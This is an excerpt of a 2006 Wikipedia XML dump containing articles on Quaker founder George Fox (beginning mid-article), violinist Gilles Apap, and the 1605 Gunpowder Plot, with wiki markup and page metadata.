In 1648 Fox began to exercise his ministry publicly: he would preach in market-places, in the fields, in appointed meetings of various kinds, or even sometimes in &quot;steeple-houses&quot; after the priests had finished. His preaching was powerful, and many people were convinced to share his beliefs in the spirituality of &quot;true religion&quot;. The worship of Friends, in the form of silent waiting, seems to have been well-established by this time, though it is not recorded how this came to be. It is not even clear at what point the Society of Friends was formed, but there was certainly a group of people who often travelled together. The term &quot;children of the light&quot; was at one time used, as well as simply &quot;friends&quot;. Fox seems, however, to have had no desire to found a sect, but only to proclaim what he saw as the pure and genuine principles of [[Christianity]] in their original simplicity &amp;mdash; though he afterward showed great prowess as a religious legislator, in the organization which he gave to the new society.

Fox's preaching was grounded in scripture, but mainly effective because of the intense personal experience he was able to project. He was scathing about contemporary morality, and urged his listeners to lead lives without sin &amp;mdash; though avoiding the [[Ranters|Ranter]] (or [[Antinomian]]) view that all acts of a believer became automatically sinless. At the time, there were a great many rival [[Christian denomination]]s holding very diverse opinions; the atmosphere of dispute and confusion gave George Fox an opportunity to put forward his own beliefs at the frequent meetings between representatives of each sect. By 1651 he had gathered many other talented preachers around him, and continued to roam the country seeking out new converts. They continued to do this despite a harsh reception from some listeners, who would whip and beat them to drive them away.

An interest in social justice was slowly developing, marked by Fox's complaints to judges about decisions he considered morally wrong &amp;mdash; for example, his letter on the case of a woman due to be [[Capital punishment|executed]] for theft. Oppression by the powerful was a very real concern for the English people, in the turmoil of the [[English Civil War]] following the excesses of [[Charles I of England|Charles I]] (executed in 1649) and the beginnings of the [[Commonwealth of England]]. George Fox's conflict with civil authority was inevitable.

In 1652 Fox felt that God led him to walk up [[Pendle Hill]].  There he had a vision of thousands of souls coming to Christ.  From there he traveled to [[Sedbergh]] in [[Westmorland]], where he heard a group of Seekers were meeting.  He preached on the nearby [[Firbank Fell]] and convinced many, including [[Francis Howgill]], to accept his teachings on Christ being able to speak to people directly.

=== Imprisonment ===

At [[Derby]] in 1650 Fox was imprisoned for [[blasphemy]]; a judge mocked Fox's exhortation to &quot;tremble at the word of the Lord&quot;, calling him and his followers &quot;Quakers&quot; &amp;mdash; now the common name of the Society of Friends [http://www.strecorsoc.org/gfox/ch04.html#upfn58].  He suffered harsh treatment in prison following his refusal to fight against the return of the monarchy (or indeed to take up arms for any reason).  A further conviction came in 1653 in [[Carlisle, England|Carlisle]]; it was even proposed to put him to death, but [[Parliament of the United Kingdom|Parliament]] requested his release rather than have &quot;a young man&amp;hellip; die for religion&quot; [http://www.strecorsoc.org/gfox/ch07.html].

The beginnings of persecution forced Fox to develop his position on [[oath]]s and violence. Previously implicit in his teaching, the refusal to swear or take up arms came to be a much more important part of his public statements: he was determined that neither he nor his followers would give in under pressure.  In a letter of 1652 (''That which is set up by the sword''), he urged Friends not to use &quot;carnal weapons&quot; but &quot;spiritual weapons&quot;, saying &quot;let the waves [the power of nations] break over your heads&quot;.

Further imprisonments came at [[London]] in 1654, [[Launceston, England|Launceston]] in 1656, [[Lancaster, England|Lancaster]] in 1660 and 1663, [[Scarborough, England|Scarborough]] in 1666, and [[Worcester, England|Worcester]] in 1674. Often, Fox was arrested on no charge other than generally causing &quot;disturbance&quot;, but he and the other Friends were also accused of more specific offences.  Quakers fell foul of laws forbidding unauthorized worship, though these statutes were very irregularly enforced. Actions motivated by belief in social equality &amp;mdash; never using titles, or taking hats off in court &amp;mdash; were seen as disrespectful.  Refusal to take oaths meant that Quakers could be prosecuted under laws compelling subjects to [[Oath of allegiance|pledge allegiance]], as well as making testifying in court problematic.

Even in prison, George Fox continued writing and preaching.  He felt that a benefit of being imprisoned was that it brought him into contact with people who needed his help &amp;mdash; the jailers as well as his fellow prisoners.  He also sought to set an example by his actions there, turning the other cheek when being beaten and refusing to let his captors make him feel dejected.

=== Encounters with Oliver Cromwell ===

[[Image:Oliver Cromwell - Statue - Palace of Westminster - London - 240404.jpg|thumbnail|left|Cromwell was sympathetic to Fox and almost agreed to follow his teaching &amp;ndash; but persecution of Quakers continued.]]

The Commonwealth had grown suspicious of monarchist plots, and fearful that the large group travelling with George Fox aimed to overthrow the government &amp;ndash; by this time, his meetings were regularly attracting crowds of thousands. In 1653 Fox was arrested and taken to London for a meeting with the [[Lord Protector]], [[Oliver Cromwell]]. After affirming that he had no intention of taking up arms, Fox was able to speak with Cromwell for some time about the differences between Friends and members of the traditional denominations, and advised him to listen to God's voice and obey it. He records that on leaving, Cromwell &quot;with tears in his eyes said, 'Come again to my house; for if thou and I were but an hour of a day together, we should be nearer one to the other'; adding that he wished [Fox] no more ill than he did to his own soul.&quot; George Fox was at liberty again [http://www.strecorsoc.org/gfox/ch08.html#upfn104].

This episode is often recalled as an example of &quot;speaking truth to power&quot;, a preaching technique by which subsequent Quakers hoped to influence the powerful. It is closely related to the ideas of plain speech and simplicity which George Fox practiced, but motivated by the more worldly goal of eradicating war, injustice and oppression.

Fox met Cromwell again in 1656, petitioning him over the course of several days to alleviate the persecution of Quakers. On a personal level, the meeting went well; despite the serious disagreements between the two men, they had a certain rapport. Fox even felt moved to invite Cromwell to &quot;lay down his crown at the feet of Jesus&quot; &amp;mdash; which, however, Cromwell declined to do [http://www.strecorsoc.org/gfox/ch10.html#gf10b]. Their third meeting was in 1658 at [[Hampton Court]], though they could not speak for long, because of the Protector's worsening illness &amp;mdash; Fox even wrote that &quot;he looked like a dead man&quot; [http://www.strecorsoc.org/gfox/ch12.html#upfn148]. Cromwell died in September of that year.

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== Suffering and growth ==
The persecutions of these years &amp;mdash; with about a thousand Friends in prison by 1657 &amp;mdash; hardened George Fox's opinions of traditional religious and social practices. In his preaching, he often emphasised the Quaker rejection of [[baptism]] by water; this was a useful way of highlighting how the focus of Friends on inward transformation differed from what he saw as the superstition of outward ritual. It was also deliberately provocative to adherents of those practices, providing opportunities for Fox to argue with them on matters of scripture. This pattern was also found in his court appearances: when a judge challenged him to remove his hat, Fox riposted by asking where in the Bible such an injunction could be found.

The Society of Friends became increasingly organised towards the end of the decade. Large meetings were held, including a three-day event in Bedfordshire, the precursor of the present [[Britain Yearly Meeting]] system. Fox also commissioned two Friends to travel around the country collecting the testimonies of imprisoned Quakers, as evidence of their persecution; this led to the establishment in 1675 of [[Meeting for Sufferings]], which has been in continuing existence to the present day. &lt;nowiki&gt;[&lt;/nowiki&gt;[[#References|QFP]] &amp;sect;7&lt;nowiki&gt;]&lt;/nowiki&gt;

=== The Restoration ===
With the [[English Restoration|restoration of the monarchy]], the fate of the Quakers was uncertain. George Fox was again accused of conspiracy, this time against [[Charles II of England|Charles II]], and fanaticism &amp;mdash; a charge he resented. Once again, Fox was released after demonstrating that he had no military ambitions. During imprisonment in Lancaster, he even wrote to the king offering advice on governance: Charles should refrain from war and domestic religious persecution, and discourage oath-taking, [[play]]s, and [[maypole]] games. These last suggestions reveal Fox's [[Puritan]] leanings, which continued to influence Quakers for centuries after his death.

At least on one point, Charles listened to George Fox. The seven hundred Quakers who had been imprisoned under [[Richard Cromwell]] were released, though the government remained uncertain about the group's links with other, more violent, movements. A 1661 revolt by the [[Fifth Monarchy men]] led to the suppression of that sect and the repression of other [[Nonconformism|nonconformists]], including Quakers [http://www.strecorsoc.org/gfox/ch14.html].

Meanwhile, Quakers in [[New England]] had been banished, and Charles was advised by his councillors to issue a [[mandamus]] condemning this practice and allowing them to return. George Fox was able to meet some of the New England Friends when they came to London, stimulating his interest in the [[Colonial America|colonies]]. Fox was unable to travel there immediately: he was imprisoned again in 1663 for his refusal to swear oaths, and on his release in 1666 was preoccupied with organizational matters &amp;mdash; he normalized the system of monthly and quarterly meetings throughout the country, and extended it to [[Ireland]]. 

Visiting Ireland also gave him the opportunity to preach against what he saw as the excesses of the [[Roman Catholic Church]], in particular the use of ritual. More recent Quaker commentators have noted points of contact between the denominations: both claim the actual presence of God in their meetings, and both allow the collective opinion of the church to augment Biblical teaching. Fox, however, did not perceive this, brought up as he was in a wholly [[Protestantism|Protestant]] environment hostile to &quot;Popery&quot;. He was also more strict in his reliance on the Bible than most of his followers.

In 1669 Fox married [[Margaret Fell]] of [[Swarthmoor Hall]], [[Swarthmoor]], a lady of high social position, and one of his early converts. Her husband Thomas Fell had died in 1658, and she had been imprisoned in Lancaster alongside Fox for several years. Their shared religious work was at the heart of their life together, and they later collaborated on a great deal of the administration the Society required.

=== Travels in America and Europe ===
In 1671 he went to [[Barbados]] and the English settlements in America, where he remained two years. Fox's first landfall on the [[North America|North American continent]] was at [[Maryland]], where he participated in a four-day meeting of local Quakers. He remained there while various of his English companions travelled to the other colonies, because he wished to meet with some [[Native Americans in the United States|Native Americans]] who were interested in Quaker ways &amp;mdash; though he records that they had &quot;a great debate&quot; among themselves about whether to participate in the meeting. Fox was impressed by their general demeanour, which he said was &quot;loving&quot; and &quot;respectful&quot; [http://www.strecorsoc.org/gfox/ch18.html].

Elsewhere in the colonies, Fox helped to establish organizational systems for the Friends there, along the same lines as he had done in Britain. He also preached to many non-Quakers, some of whom were converted; others, including Ranters and some Catholics, were unconvinced. He did not seem to mind this so much as he resented the suggestion (from a man in [[North Carolina]]) that &quot;the Light and Spirit of God ... was not in the Indians&quot;, a proposition which Fox refuted [http://www.strecorsoc.org/gfox/ch18.html#gf18i].

[[Image:AmsterdamDamsquar.jpg|thumb|right|Fox established a Yearly Meeting in [[Amsterdam]] for Friends in the Netherlands and German states.]]

Following extensive travels around the various American colonies, George Fox returned to England in 1673. He was soon imprisoned again, and his health began to suffer. Margaret Fell petitioned the king for his release; this took place, but Fox felt too weak to take up his travels immediately. He compensated by increasing his written output: letters, both public and private, as well as books and essays. Much of his energy was devoted to the topic of oaths, having become convinced of its importance to Quaker ideas. By refusing to swear, he felt that he could bear witness to the value of truth in everyday life, as well as to God, who he associated with truth and the [[inner light]]. 

In 1677 and 1684 he visited the Friends in [[the Netherlands]], and organized their meetings for discipline. He also made a brief visit to what is now [[Germany]]. Meanwhile, Fox was participating by letter in a dispute among Friends in Britain over the role of women in meetings, a struggle which took much of his energy and left him feeling exhausted. Returning to England, he stayed in the south in order to try to end the dispute. Fox's health became worse towards the end of 1684, but he continued his new, more restricted form of activities &amp;mdash; writing to leaders in [[Polish-Lithuanian Commonwealth|Poland]], [[Denmark]], Germany, and elsewhere about his beliefs, and their treatment of Quakers.

In the last years of his life, Fox continued to participate in Yearly Meetings, and still made representations to Parliament about the sufferings of Friends. The 1689 [[Act of Toleration]] put an end to the uniformity laws under which Quakers had been persecuted, and in that year many Friends were released from prison.

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== Death and legacy ==
George Fox died on [[January 13]], [[1691]], and was interred in the Quaker Burying Ground at [[Bunhill Fields]] in [[London]]. 

His journal was first published in 1694, after editing by [[Thomas Ellwood]] &amp;mdash; a friend of [[John Milton]] &amp;mdash; and [[William Penn]]. As a religious autobiography, it has been compared to such works as [[Augustine of Hippo|Augustine]]'s ''[[Confessions (book)|Confessions]]'' and [[John Bunyan]]'s ''Grace Abounding to the Chief of Sinners'' &amp;mdash; an intensely personal work that nevertheless succeeds in appealing to readers. It has also been used by historians because of its wealth of detail on ordinary life in the 17th century, and the many towns and villages which Fox visited.

Hundreds of Fox's letters &amp;mdash; mostly epistles intended for wide circulation, along with a few private communications &amp;mdash; have also been published. Written from the 1650s onwards, with such titles as ''Friends, seek the peace of all men'' or ''To Friends, to know one another in the light'', the letters give enormous insight into the detail of Fox's beliefs, and show his determination to spread them. These writings have found an audience beyond Quakers, with many other church groups using them to illustrate principles of Christianity.

Fox is described by Ellwood as &quot;graceful in countenance, manly in personage, grave in gesture, courteous in  conversation.&quot;  Penn says he was &quot;civil beyond all forms of breeding.&quot; We are told that he was &quot;plain and powerful in preaching, fervent in prayer,&quot; &quot;a discerner of other men's spirits, and very much master of his own,&quot; skilful to &quot;speak a word in due season to the conditions and  capacities of most, especially to them that were weary, and wanted soul's rest;&quot; &quot;valiant in asserting the truth, bold in defending it, patient in suffering for it, immovable as a rock.&quot; &lt;nowiki&gt;[&lt;/nowiki&gt;[[#References|1694 Journal]] front matter&lt;nowiki&gt;]&lt;/nowiki&gt;

Fox's influence on the Society of Friends was of course tremendous, and his beliefs have largely been carried forward by that group. Not all of his beliefs were welcome to all Quakers, however; his Puritan-like opposition to the arts, and rejection of [[theology|theological]] study, prevented the development of these practices among Quakers for some time. The name of George Fox is often invoked by traditionalist Friends who dislike liberal attitudes to the Society's Christian origins. At the same time, Quakers and others can relate to Fox's religious experience, and even those who disagree with him can regard him as a pioneer.

[[Walt Whitman]], who always felt close to the Quakers, later wrote: &quot;George Fox stands for something too&amp;mdash;a thought&amp;mdash;the thought that wakes in silent hours&amp;mdash;perhaps the deepest, most eternal thought latent in the human soul. This is the thought of God, merged in the thoughts of moral right and the immortality of identity. Great, great is this thought&amp;mdash;aye, greater than all else.&quot; &lt;nowiki&gt;[&lt;/nowiki&gt;[http://www.bartleby.com/229/5022.html Essay in ''November Boughs'']&lt;nowiki&gt;]&lt;/nowiki&gt;

[[George Fox University]] in [[Oregon]], founded as Pacific College in 1891, was renamed for him in 1949.

==See also==
* [[Christian anarchism]]
* [[English Dissenters]]
* [[List of people on stamps of Ireland]]

== External links ==
{{wikiquote}}
* [http://www.georgefox.edu George Fox University]
* [http://www.strecorsoc.org/gfox/ George Fox &amp;mdash; An Autobiography]. Annotated and slightly abridged text of Fox's journal, by Rufus Jones.
* [http://www.british-history.ac.uk/report.asp?compid=26194#s7 House of Commons Journal Volume 8, [[21 May]] [[1660]], Geo. Fox, &amp;c.] Order by the House that George Fox &amp; Rob. Gressingham who &quot;made a great Disturbance at [[Harwich]]&quot; and are to be handed over to the [[Serjeant-at-Arms]].

== References ==
Various editions of Fox's journal have been published from time to time since the first printing in 1694. The John Nickalls revisions of 1952 and following are generally considered to contain the most accurate text (Philadelphia Yearly Meeting; ISBN 0-94130-805-7). The linked reference above is to a 1908 version by Rufus Jones, which is also available in print (Friends United Press, 1976; ISBN 0-91340-824-7).

Other useful sources include:
* ''An Apology for the True Christian Divinity'', Robert Barclay (1678). A systematic treatment of Quaker theology at the end of the seventeenth century; [http://www.qhpress.org/texts/barclay/apology/ available online].
* ''First Among Friends: George Fox and the Creation of Quakerism'', H. Larry Ingle (Oxford University Press; ISBN 0-19510-117-0 [1996 reprint]). Controversial interpretation of Fox's use of politics within the Society of Friends to ensure conformity with his views and the survival of the group.
* ''A Popular Life of George Fox'', Josiah Marsh (London: Charles Gilpin, 1847). Somewhat biased but thorough biography of Fox.
* ''[http://www.quaker.org.uk/qfp/ Quaker Faith and Practice]'', Yearly Meeting of the Religious Society of Friends (Quakers) in Britain. (ISBN 0-85245-307-8 [1999 revision]). Shows a modern Quaker view of Fox, and a great deal of historical information about Friends and their institutions.

{{Schaff-Herzog}}

[[Category:1624 births|Fox, George]]
[[Category:1691 deaths|Fox, George]]
[[Category:Christian leaders|Fox, George]]
[[Category:Christian writers|Fox, George]]
[[Category:English clergy|Fox, George]]
[[Category:Quakers|Fox, George]]

[[de:George Fox]]
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[[ja:ジョージ・フォックス]]
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[[sr:Џорџ Фокс]]

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  </page>
  <page>
    <title>Gilles Apap</title>
    <id>13158</id>
    <revision>
      <id>37185235</id>
      <timestamp>2006-01-29T07:17:38Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">'''Gilles Apap''' (b. [[May 21]] [[1963]]) is a [[violinist]] who plays [[Roma (people)|gypsy]] music, swing, [[Irish music]], and [[bluegrass music]], as well as the masterpieces of [[European classical music|classical music]].  

Born in Bougie, [[Algeria]], he was raised in [[Nice, France]]. In 1985 he won the first prize in the contemporary music category at the [[Yehudi Menuhin]] Competition. He released a CD with Sony Classical in 1996 called  ''Gilles Apap &amp; the Transylvanian Mountain Boys''. He has worked as the concertmaster of the Santa Barbara Symphony in California. He has played with the Irish fiddler [[Kevin Burke]].


On his own label, Apapaziz, he has released ''[[George Enescu|Enescu]], [[Debussy]] and [[Maurice Ravel|Ravel]]: violin sonatas'' and, on Appassionato ''No Piano On That One'' in 2001.

== Quotations ==

==Discography==

* [[1994]] Gilles Apap and the Transylvanian Mountain Boys: ''Who?'' ([[Sony]])
* [[1996]] Gilles Apap and the Transylvanian Mountain Boys: ''Gilles Apap &amp; the Transylvanian Mountain Boys'' ([[Sony]])
* [[1997]] Gilles Apap and the Transylvanian Mountain Boys: ''d’Ici &amp; d’Ailleurs''
* [[1999]] ''Enescu, Debussy and Ravel: Sonatas for violin and piano'' ([[Apapaziz]])
* [[2001]] ''No Piano On That One'' ([[Appassionato]])
* [[2002]] ''Vivaldi's Four Seasons and Fiddle Tunes''
* [[2003]] ''Gilles Apap and The Sinfonia Varsovia''

==Films==

* [[1993]] ''The unknown fiddler of Santa Barbara'' (Regie: [[Bruno Monsaingeon]])
* [[1993]] ''Gilles Apap and Friends'' (Regie: [[Bruno Monsaingeon]])
* [[1999]] ''Gilles Apap plays Mozart's Third Concerto''
* [[2004]] ''Apap Masala, Gilles Apap in India'' (Regie: [[Max Jourdan]])

==External links==

*[http://www.gillesapap.com/ Official Website]

[[Category:Violinists|Apap, Gilles]]
[[Category:1963 births|Apap, Gilles]]
[[Category:Living people|Apap, Gilles]]
[[Category:French classical musicians|Apap, Gilles]]
[[Category:French musicians|Apap, Gilles]]

[[de:Gilles Apap]]</text>
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  </page>
  <page>
    <title>Gunpowder Plot</title>
    <id>13159</id>
    <revision>
      <id>41409414</id>
      <timestamp>2006-02-27T03:21:29Z</timestamp>
      <contributor>
        <username>Everyking</username>
        <id>44020</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/72.75.29.81|72.75.29.81]] ([[User talk:72.75.29.81|talk]]) to last version by 24.60.113.170</comment>
      <text xml:space="preserve">[[Image:Gunpow1.jpg|thumb|320px|right|A contemporary sketch of the conspirators]]
The '''Gunpowder Plot''' of [[1605]] was a desperate but failed attempt by a group of provincial [[England|English]] [[Catholicism|Catholic]] extremists to kill King [[James I of England]], his family, and most of the [[Protestantism|Protestant]] aristocracy in one attack by blowing up the [[Palace of Westminster|Houses of Parliament]] during the [[State Opening of Parliament|State Opening]]. The conspirators had then planned to abduct the royal children, not present in parliament, and incite a revolt in the Midlands.
The Gunpowder Plot was one of a series of unsuccessful [[assassination]] attempts against James I, and followed the [[Main Plot]] and [[Bye Plot]] of [[1603]].  Many believe the Gunpowder Plot to have been part of the [[Catholic Reformation|Counter-Reformation]]. 

The aims of the consipirators were substantially identical to those behind modern terrorists, and the Plot's methods and intended outcomes  were remarkably similar to those of the [[Brighton hotel bombing]]. At the time, the word &quot;terrorist&quot; was not in common use; it would have been regarded as a seditious act of [[regicide]]. Some maintain the conspirators were justifiably waging war against a government that outlawed their faith, executed their priests and persecuted the faithful, as well as making them take part in the rituals of the [[Anglican Church]].

On November 5th each year, people in the [[United Kingdom]], [[New Zealand]], [[South Africa]], [[Newfoundland|Newfoundland, Canada]], [[Saint Kitts and Nevis|Saint Kitts]], some parts of the [[USA]] and formerly [[Australia]] celebrate the failure of the plot on what is known as [[Guy Fawkes Night]] (also known as Bonfire Night or Fireworks Night).

== The beginnings of the plot ==

[[Image:James I of England.JPG|thumb|Catholic conspirators plotted to kill King [[James I of England|James I of England and VI of Scotland]].]]
[[Image:Elizabeth of Bohemia.jpeg|thumb|[[Elizabeth of Bohemia|Princess Elizabeth]], the eldest daughter of King James, was supposed to inherit the crown and rule as a Catholic.]]
The conspirators had become angered by King James's refusal to give equal rights to Catholics. The plot was intended to begin a rebellion during which James's nine-year-old daughter ([[Elizabeth of Bohemia|Princess Elizabeth]]) could be installed as a Catholic [[head of state]].

The plot was overseen from May [[1604]] by [[Robert Catesby]]. Other plotters included [[Thomas Wintour]], [[Robert Wintour]], Christopher Wright, [[Thomas Percy (plotter)|Thomas Percy]] (also spelled Percye), John Grant, [[Ambrose Rokewood]], Robert Keyes, Sir [[Everard Digby]], [[Francis Tresham]] and Catesby's servant, Thomas Bates.  The preparation of the explosion by [[Guy Fawkes|Guido (Guy) Fawkes]], an explosives expert with considerable military experience who had been introduced to Catesby by a man named [[Hugh Owen]].  Some accounts suggest that Thomas Wintour was the prime mover in all of this, and that Fawkes was the tool towards the ultimate execution of the plot.  [[Huddington Court]], home to the Wintour brothers, was host to many meetings held to plan the events.

The details of the plot were well known to the principal Jesuit of England, Father [[Henry Garnet]]. Many believe that, with his tacit approval, the plot was seen by the conspirators as part of the [[Catholic Reformation|Counter-Reformation]].  In any case, once informed, neither the Pope nor his representative acted to halt the proceedings.


== Planning and preparation ==
The conspirators were able to rent an [[undercroft]] in the house adjacent to the old [[House of Lords]] where the State Opening of Parliament would take place.  There are suggestions that the initial plan was to tunnel from the undercroft of the adjacent building by mining and then plant the explosives under the meeting chamber in the House of Lords.  This plan was abandoned, however, when Thomas Percy, one of the conspirators, was able to arrange the rent of an undercroft directly below the House of Lords.

Fawkes assisted in filling the room with gunpowder which was concealed beneath bric-a-brac in the undercrofts of the House of Lords building.  By March [[1605]] they had filled the undercroft underneath the House of Lords with 36 barrels belonging to John Whynniard, concealed under a store of winter fuel.  The barrels contained an estimated 2.5 tonnes of [[gunpowder]].  Had they been successfully ignited, the explosion could have reduced many of the buildings in the Old Palace of Westminster complex, including the [[Westminster Abbey|Abbey]], to rubble and would have blown out windows in the surrounding area of about a 1 kilometre radius.

According to the confession made by Fawkes on 5 November 1605, he left [[Dover]] on about Easter [[1605]] for [[Calais]].  He then traveled to [[St Omer]] and on to [[Brussels]], where he met with Hugh Owen, and Sir William Stanley.  Next, he made a pilgrimage in Brabant. He returned to England at the end of August or early September, again by way of Calais.

[[Guy Fawkes]] was left in charge of executing the plot, while the other conspirators fled to [[Dunchurch]] in [[Warwickshire]] to await news.  Once the parliament had been destroyed, the other conspirators planned to incite a revolt in the Midlands.

== The raid ==
During the preparation, several of the conspirators had been concerned about fellow Catholics who would be present on the appointed day, and inevitably killed.  One conspirator, possibly Francis Tresham, wrote a letter of warning to [[William Parker, 4th Baron Monteagle|Lord Monteagle]], a prominent Catholic.  Lord Monteagle received it on Saturday, [[October 26]]. The other conspirators learned of the letter the following day, but resolved to go ahead with their plan, especially after Fawkes inspected the undercroft and found nothing had been touched. Meanwhile, however, Monteagle had shown the letter to [[Robert Cecil]], the [[Secretary of State (United_Kingdom)|Secretary of State]].

The tip-off led to a search of the vaults beneath the House of Lords, including the undercroft, during the early morning of the 5th of November (according to the [[Gregorian Calendar]]). [[Thomas Knyvet]], a [[Justice of the Peace]], and a party of armed men, discovered Fawkes posing as &quot;Mr John Johnson&quot;.  He was discovered possessing a watch, slow matches and touchpaper. The barrels of gunpowder were discovered and Fawkes was arrested.  Far from denying his intentions during the arrest, Fawkes stated that it had been his purpose to destroy the King and the Parliament.

==The interrogation==
Fawkes was brought into the king's bedchamber at one o'clock in the morning, where the ministers had hastily assembled. He maintained an attitude of defiance, making no secret of his intentions.  When the king asked why he would kill him, Fawkes replied that the pope had excommunicated him, that dangerous diseases require a desperate remedy.  He also expressed to the Scottish courtiers who surrounded him that one of his objects was to blow the Scots back into [[Scotland]].

Later in the morning, before noon, he was again interrogated. He was questioned on the nature of his accomplices, the involvement of Thomas Percy, what letters he had received from overseas, and whether he had spoken with Hugh Owen.

[[Image:guy_fawkes_torture_signatures.jpg|thumb|220px|Top: &quot;Guido&quot; signed under torture&lt;br /&gt;Bottom: Signature 8 days later]]
He was taken to the [[Tower of London]] and there interrogated under [[torture]]. Torture was forbidden except by the express instruction of the monarch or the [[Privy Council of the United Kingdom|Privy Council]], In a letter of [[November 6]], [[James I of England|King James I]] stated:
:&quot;The gentler tortours are to be first used unto him, ''et sic per gradus ad maiora tenditur'' [and thus by increase to the worst], and so God speed your goode worke&quot;.

Fawkes initially resisted torture, but verbally confessed on [[November 8]].  He revealed the names of his co-conspirators, and recounted the full details of the plot on [[November 9]].  On [[November 10]] he made a signed confession, although his signature was written in a trembling state, having been under torture on [[the rack]].

==Trial and executions==
On hearing of the failure the conspirators fled towards Huddington Court, but heavy rain slowed their travels.  Many of them were caught by [[Richard Walsh]], the Sheriff of Worcestershire, when they arrived in [[Stourbridge]].

The remaining men attempted a revolt in the [[Midlands]].  This failed, and came to an end at [[Holbeach House]] in [[Staffordshire]], where there was a dramatic shoot-out ending with the death of Catesby, and capture of several principal conspirators. Jesuits and others were then rounded up in other locations in Britain, with some being killed during interrogation.  Robert Wintour managed to remain on the run for two months until he was captured at Hagley Park.

A nominal [[Trial (law)|trial]] ensued on [[January 27]], [[1606]], at which the sentences had already been predetermined. On [[January 31]], Fawkes, Wintour, and a number of others implicated in the conspiracy were taken to [[Old Palace Yard]] in [[Westminster]], where they were [[Drawing and quartering|hanged, drawn and quartered]].

==Aftermath==
According to historian [[Antonia Fraser|Lady Antonia Fraser]], the gunpowder was taken to the [[Tower of London]] magazine.  It would have been reissued or sold for recycling if in good condition.  According to historian [[Ronald Hutton]], however, it was discovered to be &quot;decayed&quot;. This could imply that it was rendered harmless due to having separated into its component chemical parts, as happens with gunpowder when left to sit for too long &amp;ndash; if Fawkes had ignited the gunpowder, during the opening, it would only have resulted in a damp splutter.  Alternatively, &quot;decayed&quot; may refer to the powder being damp and sticking together, making it unfit for use in firearms.  In this case the explosive capabilities of the barrels would not be greatly affected. 

A test using decayed gunpowder carried out in for an [[ITV]] programme in [[2005]]{{ref|Hammond}} which enacted the explosion (see below) established that the impact of gunpowder's compression in barrels would have counteracted any deterioration in quality. In addition mathematical calculations showed that Fawkes, who was skilled at the use of gunpowder, used double the amount of gunpowder needed. So even if some had deteriorated to the point of unusability (something judged highly unlikely by the experts) the amount of powder in it could still have blown up the chamber and killed all in it. 

A sample of the gunpowder may have survived.  In March [[2002]], workers investigating archives of [[John Evelyn]] at the [[British Library]] found a box containing various samples of gunpowder and several notes that suggested they were related to the Gunpowder Plot:
#&quot;Gunpowder 1605 in a paper inscribed by John Evelyn. Powder with which that villain Faux would have blown up the parliament.&quot;,
#&quot;Gunpowder. Large package is supposed to be Guy Fawkes' gunpowder.&quot;, and
#&quot;But there was none left! WEH 1952&quot;.

== Historical impact ==
The plot backfired spectacularly upon England's Catholics. It halted any moves towards [[Catholic Emancipation]]: they would have to wait another 200 years until they received approximately equal rights. Some scholars argue that, in London, interest in evil, Satanism, and terror heightened by the Gunpowder Plot partly inspired [[William Shakespeare]]'s ''[[Macbeth]]''.

== Commemoration of the plot ==
[[Image:Bonfire4.jpg|thumb|Bonfires are lit every 5th of November to commemorate the plot.]]
The fifth of November is variously called [[Firework Night]], [[Bonfire Night]] or [[Guy Fawkes Day]].
An [[Act of Parliament]] (3 James I, cap 1) was passed to appoint 5th November in each year as a day of thanksgiving for &quot;the joyful day of deliverance&quot;. The Act remained in force until [[1859]]. On 5 November 1605, it is said the populace of London celebrated the defeat of the plot by fires and street festivities. Similar celebrations must have taken place on the anniversary and, over the years, became a tradition - in many places a holiday was observed. (It is not celebrated in [[Northern Ireland]]).

It is still the custom in Britain on, or around, 5th November to let off [[fireworks]]. For weeks previously, children have been making guys - effigies supposedly of Fawkes - nowadays usually formed from old clothes stuffed with newspaper, and equipped with a grotesque mask, to be burnt on the November 5th bonfire. The word '[[guy]]' came thus in the 19th century to mean a weirdly dressed person, and hence in the 20th century in the [[USA]] to mean, in [[slang]] usage, any male person.

Institutions and towns may hold firework displays and bonfire parties, and the same is done,
despite the danger of fireworks, on a smaller scale in back gardens throughout the country. In
some areas, such as Lewes and Battle in Sussex, there are extensive processions and a great
bonfire. Children exhibit effigies of Guy Fawkes in the street to collect money for fireworks.

The Houses of Parliament are still searched by the [[Yeomen of the Guard]] before the State
Opening which since [[1928]] has been held in November. Ostensibly to ensure no latter-day Guy
Fawkes is concealed in the cellars, this is retained as a picturesque custom rather than a serious anti-terrorist precaution. It is said that for superstitious reasons no State Opening will be held on 5 November, but this is untrue. The State Opening was on 5 November in, for instance, [[1957]].

The cellar in which Fawkes watched over his gunpowder was damaged in the [[1834 fire]] and
destroyed in the rebuilding of the [[Palace of Westminster]] in the 19th century. The lantern Guy Fawkes carried in 1605 is in the [[Ashmolean Museum]], [[Oxford]].

== Modern theories ==
Many modern historians think that Cecil's agents had infiltrated the plot early on in its gestation but allowed it to continue for dramatic effect; certainly the [[propaganda]] value of a &quot;[[Popish Plot|Popish plot]]&quot; was not underplayed during the next few hundred years.

Another theory is that King James, searching for greater acceptance of Catholics, desired a test case with which to demonstrate Catholic loyalty to Parliament and the nation.  Father Henry Garnet, the chief Jesuit of England, had turned in Catholic plotters in an earlier event.  On this occasion, however, he did not, but passed the information on to the Pope who, in turn, took no action.  Because the plot was allowed to proceed, the Catholic cause for freedom in Britain was set back considerably.  True freedom was denied until the mid 19th century.

A darker supposition is that Cecil helped to arrange the Gunpowder Plot himself, though assuring a means to insulate himself from blame, as a mechanism to remove a Catholic absolute royalist sovereign.  The sovereign had wanted to unwind everything that the Cecils and allied aristocratic Protestant families had worked on for generations, as demonstrated in James I's revocation of Dutch Protestant support, his rejection of religious toleration, and his refusal to work with Parliament.  The idea of the state spy agency facilitating the assassination of an abrasive sovereign such as James I is not unheard of.  For example, only two years before, in 1603, Robert Cecil's own brother-in-law [[Henry Brooke, Lord Cobham]], was himself implicated in the two other plots against James I &amp;mdash; the [[Bye Plot]] and the [[Main Plot]]. These plots were attempts to remove James I from the throne and replace him with Lady [[Arabella Stuart]], who would then be paired with the continental [[House of Savoy]].

==Modern re-enactment: Would the plot have killed the King?==

A study on an [[ITV]] [[television programme|programme]] broadcast on [[1 November]] [[2005]]{{ref|Hammond}} re-enacted the plot, by blowing up an exact replica of the [[17th century]] [[House of Lords]] filled with test dummies, using the exact amount of gunpowder in the underground of the building. The dramatic experiment, conducted on the Advantica Spadeadam test site, proved unambiguously that the explosion would have killed all those attending the State Opening of Parliament in the Lords chamber. 

